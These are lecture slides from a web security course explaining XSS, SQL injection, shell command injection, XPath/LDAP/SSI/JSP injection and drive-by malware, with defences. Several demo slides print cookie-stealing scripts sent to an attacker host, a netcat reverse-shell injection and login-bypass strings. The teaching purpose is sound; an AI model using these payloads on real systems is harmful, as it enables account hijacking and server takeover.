Transcript Web Audit Vulnerability

Web Security
Objectives


Understand the complexity of Web
infrastructure and current trends of
Web threat
Understand the mechanisms and
defense of major Web attacks: XSS,
SQL injection and shell attacks
Why Web Security:
a Real Business Problem




> 60% of total attack attempts observed
on the Net are against Web applications
> 80% of vulnerabilities discovered are in
web apps
Independent security audit
Regulatory compliance
Auditor finding

Freeform edit box
– Message to
Customer Service


XSS issue raised
Must provide a
response:
– Prove issue to be
a non-problem
or
– Describe actions
to take
Anatomy of Web Attacks
1.
2.
3.
Attacker breaks into a legitimate website and posts
malware
• Malware is no longer exclusive to malicious Web sites.
Attacking end-user machines.
• Malware on a Web site makes its way down on to a user’s
machine when that user visits the host Web site.
• “Drive-by-download” – happens automatically with no user
interaction required
• Additional techniques which do require some input from the
user, but in practice are equally, if not more so, effective.
Leveraging end user machines for malicious activity.
Anatomy of Web Attacks
Source: Web Based Attacks, Symantec 2009
Web Applications

Big trend: software as a (Web-based) service
– Online banking, shopping, government, etc.
– Cloud computing

Applications hosted on Web servers
– Written in a mixture of PHP, Java, Perl, Python,
C, ASP

Security is rarely the main concern
– Poorly written scripts with inadequate input
validation
– Sensitive data stored in world-readable files
Typical Web Application Design




Runs on a Web server or application server
Takes input from Web users (via Web server)
Interacts with back-end databases and third parties
Prepares and outputs results for users (via Web
server)
– Dynamically generated HTML pages
– Contain content from many different sources, often
including regular users


Blogs, social networks, photo-sharing websites…
Web advertisements, usually third party
– A webpage can have content coming from 10-20 different
domains
Two Sides of Web Security

Web browser (front end)
– Can be attacked by any website it visits
– Attacks lead to malware installation (keyloggers,
botnets), document theft, loss of private data

Web application (back end)
– Runs at website

Banks, online merchants, blogs, Google Apps, etc.
– Written in Javascript, PHP, ASP, JSP, Ruby, …
– Many potential bugs: XSS, SQL injection, XSRF
– Attacks lead to stolen credit cards, defaced sites,
etc.
Chicago Tribune Home Page
How Are Legitimate Web
Sites Compromised?
1.
2.
SQL Injection Attacks
Malicious Advertisements
–
–
–
3.
4.
5.
6.
Many Web sites today display advertisements hosted
by third-party advertising sites
Volume of ads published automatically makes
detection difficult
Random appearances further compounds the
detection
Search Engine Result Redirection
Attacks on the backend virtual hosting companies
Cross-site scripting (XSS) attacks
Vulnerabilities in the Web server or forum hosting
software (e.g., shell attacks)
JavaScript

Language executed by browser
– Scripts are embedded in Web pages
– Can run before HTML is loaded, before page is
viewed, while it is being viewed or when leaving the
page

Used to implement “active” web pages
– AJAX, huge number of Web-based applications

Many security and correctness issues
– Attacker gets to execute some code on user’s
machine
slide 13
– Often used to exploit other vulnerabilities
Cross Site Scripting



Attacker goal: their code into browser
XSS forces a website visitor to execute
malicious code in his/her browser
Count for roughly 80% of all
documented security vulnerabilities
XSS Risks





XSS abuses render engines or plug-ins
Steal browser cookies
Steal session info for replay attack
Malware or bot installation
Redirect or phishing attempt
XSS Example 1




Trudy posts the following JavaScript on a
message board:
<script language="javascript">
var url =
"http://machineaddress:5000/index.html?cookie=
“+ encodeURI(document.cookie);
</script>
Then run a TCP server listening on port 5000 with
e.g., nc –l 5000
When Bob views the posted message, his browser
executes the malicious script, and his session
cookie is sent to Trudy
XSS Demo Instructions
Set port forward to bypass the firewall
ssh -L 8000:netsec-demos:2000 [email protected]

Note: 8000 is the local port, it's forwarded to netsecdemos port 2000 through netsec-1

Use http://localhost:8000 to access
http://netsec-demos.cs.northwestern.edu:2000
XSS Demo Instructions (II)

Login as ychen and post the script with a sexy
title (e.g., hot game!)
<script language="javascript">
var url = "http://cal.cs.northwestern.edu:5000/index.html?cookie=";
url = url + encodeURI(document.cookie);
new Image().src=url;
</script>
Hi Everyone! Thanks for your cookies!

Ssh to that machine (e.g.,
cal.cs.northwestern.edu) and run
nc –l 5000
Simple XSS Code
var url =
"http://machineaddress:5000/index.html?
cookie=“+ encodeURI(document.cookie);
 document.cookie is the browser's entire
cookie for the current website
 encodeURI() is a javascript function to
hex-encode certain characters to be
included as part of a URL
– E.g., changing the space character to %20
– Make the URL less suspicious
What can Trudy Do with
the Cookie?


Another user test458 login as and when
clicking the post, cookie is sent to the attacker
Crack Bob’s password (MD5 hash in the
cookie) with John the Ripper, Hydra, or any
password cracker


For more info,
http://netsec.cs.northwestern.edu/resources/passwordcracking/
Use a Firefox plugin like Tamperdata to reset
your cookies to impersonate Bob
XSS Detection


A client usually is not supposed to send
scripts to servers
If the server receives <SCRIPT>… or the hex
equivalent in an incoming packet and that
same script is sent unsanitized in an
outgoing packet, then an attack has occurred
– A sanitized script could look like
&ls;SCRIPT&gt;…

Any user input must be preprocessed before
it is used inside HTML
SQL Injection
Malicious SQL statements run on a
database and thus attack the server
– XSS can only target other users
SQL Injection Example





Trudy accesses Bob’s website; in which he does not validate
input on his sign in form
– Runs a SQL statement like the following:
– select username, user_password from minibbtable_users
where user_password = md5('johnspassword') and
username='johndoe’;
Set username to ' or '1'='1
select username, user_password from minibbtable_users
where user_password = md5('anyrandompassword') and
username='' or '1'='1’;
Effect: picks any row where the username is blank and the
password matches or any row where true.
Add “limit 1” to pick the first row
SQL Injection Detection

Input validation on any outgoing SQL
statements from the web server to the database
server
– Filter
Apostrophes, semicolons, percent symbols, hyphens,
underscores, …
 Any character that has special meanings must be
escaped, .e.g., convert ’ into \’

– Only works for string inputs
– Different databases have different rules for escaping
– Check the data type (e.g., make sure it’s an integer)
Shell Attacks
Control an actual machine like a
web server
Shell Attacks

Inject commands into scripts that use
Linux utilities
– E.g., with “;” as command separator in
UNIX/LINUX


CGI programs like perl can use
command-line programs (e.g. grep, ls)
Unsanitized input as arguments can lead
to command execution.
Shell Attacks Demo

Search engine in MiniBB webserver executes
system("echo $user_usr " . $phrase . " >>/tmp/searchlogs");

Put phrase as: >/dev/null; id; echo randomdata
– Hide user ID
– Store random data in logs to evade detection

We can even get a remote shell !
– >/dev/null; nc cal 5000 -e /bin/sh
Defense Approaches

Web firewall/IDS
– ModSecurity for Apache
– Commercial: SecureSphere from Imperva

Static code analysis
– Open source: Nikto
– Commercial:
Acutenix Web Vulnerability Scanner
 N-stalker


Education on good coding
– HTML encoding on input (server-side)
– Input validation/filtering
XSRF
Discussion of Symantec White Papers:
GETTING ONTO A USER’S COMPUTER
(AUTOMATICALLY)
GETTING ONTO A USER’S COMPUTER
Source: Web Based Attacks, Symantec 2009
Automatic Attack Exposure


Techniques used to deliver malware
from Websites to a users computer.
Exposure
– Browsing a website
– No user interaction is required
– Executable content is automatically
downloaded
“Click Jacking”
GETTING ONTO A USER’S COMPUTER
(WITH A LITTLE HELP FROM THE USER)
Social Engineering
• People are tricked into performing actions they would not otherwise want to perform
Source: Web Based Attacks, Symantec 2009
Types of Social
Engineering Attacks






Fake Codec
Malicious Peer-to-Peer (P2P) Files
Malicious Advertisements
Fake Scanner Web Page
Blog Spam
Other Attack Vectors
Fake Codec


User is prompted to install a missing
codec
Codec is actually malware code
– Usually a trojan horse
Malicious Peer-to-Peer
(P2P) Files


Malware authors bind content into popular
applications
– Files named after celebrities, popular bands
– Uploaded to popular P2P sites where they
are downloaded by unsuspecting users
Openly available how-to materials on the
internet
– Details how to build and distribute malware
– Pay-Per-Install malware
Fake Scanner Web Page

Create a web site or product that
misrepresents the truth
– JavaScript pop-ups notifying of false
need to install operating system
updates
–Tools that claim
to scan for and
remove adult
images, etc.
Source: Web Based Attacks, Symantec 2009
Blog Spam

Alluring links posted on blogs
– Links embedded in blog comments
– Direct users to sites that leverage social
engineering tricks or browser exploits to
spread malware
Other Attack Vectors

Spam
– Emails contain links directing people to
drive by download, fake scanner/codec,
and malware sites

Pirated software sites
– Pirated versions of software are bundled
with or comprised solely of trojan horses
How to Protect Yourself

Update and Patch Software
– Get latest OS, Browser, Application patches
– Browswer Plug-in updates often forgotten

Endpoint Protection Software
– Anti-virus software for signature based detection and
behavioral monitoring
– Update Protection Software Subscription


Could miss 70,000 new unique virus variants for one week
Be Suspicious
– Avoid things that seem too good to be true
– Use safe search functionality in browsers

Adopt Strong Password Policy
Backup Slides
XSS Example 2




Trudy sends a link of the following URL to Bob
that will take him to a personalized page:
http://host/personalizedpage.php?username=<sc
ript>document.location='http://trudyhost/cgibin/stealcookie.cgi?'+document.cookie</script>
A page is returned that contains the malicious
script, and Bob’s browser executes the script
causing his session cookie to be sent to Trudy
Hex is often used in place of ASCII for the
JavaScript to make the URL less suspicious
XPATH Injection Example


Similar to SQL injection
Bob has a form that does not sanitize userprovided input before using it as part of an
XPATH query::
– string(//user[name/text()=’USER_NAME' and
password/text()=’USER_PASS']/account/text())

Trudy again can provide the following
password to change the statement’s logic:
– X’ OR ‘x’=‘x
– The statement thus selects the first account
LDAP Injection Example

Server using LDAP for authentication
– User name initialized, but then uses
unchecked user input to create a query
filter = "(uid=" + CStr(userName) + ")" '
searching for the user entry
 Attacker can exploit using special
characters
http://example/ldapsearch.asp?user=*
LDAP Injection Detection

Detection is based off of usage of
special LDAP characters
– System monitors input for special
characters
– Either scrubs incoming input or watches
for unescaped output passed to database
server

Detection approach is blackbox
SSI Injection Example
Bob has his server configured to use ServerSide Includes
 Trudy passes input with an SSI embedded
<!--#INCLUDE VIRTUAL="/web.config"-->
 SSI inserts malicious code into normal
webpages upon next request
 Future legitimate users get content
containing the tainted code included by the
SSI

JSP Injection Example




Similar to SSI injection
Bob has a portal server configured to
use dynamic code for templates
Trudy passes input with an embedded
<jsp:include “http://bad.com/1.jsp” >
malicious code inserted into webpage
JSP Injection Prevention





Prefer static include <%include …>
Don’t allow file inclusion outside of
server via Java2 Security policies
Firewall rules to prevent outbound
requests from server
Input validation coding
Choose portal software not requiring
dynamic includes or code execution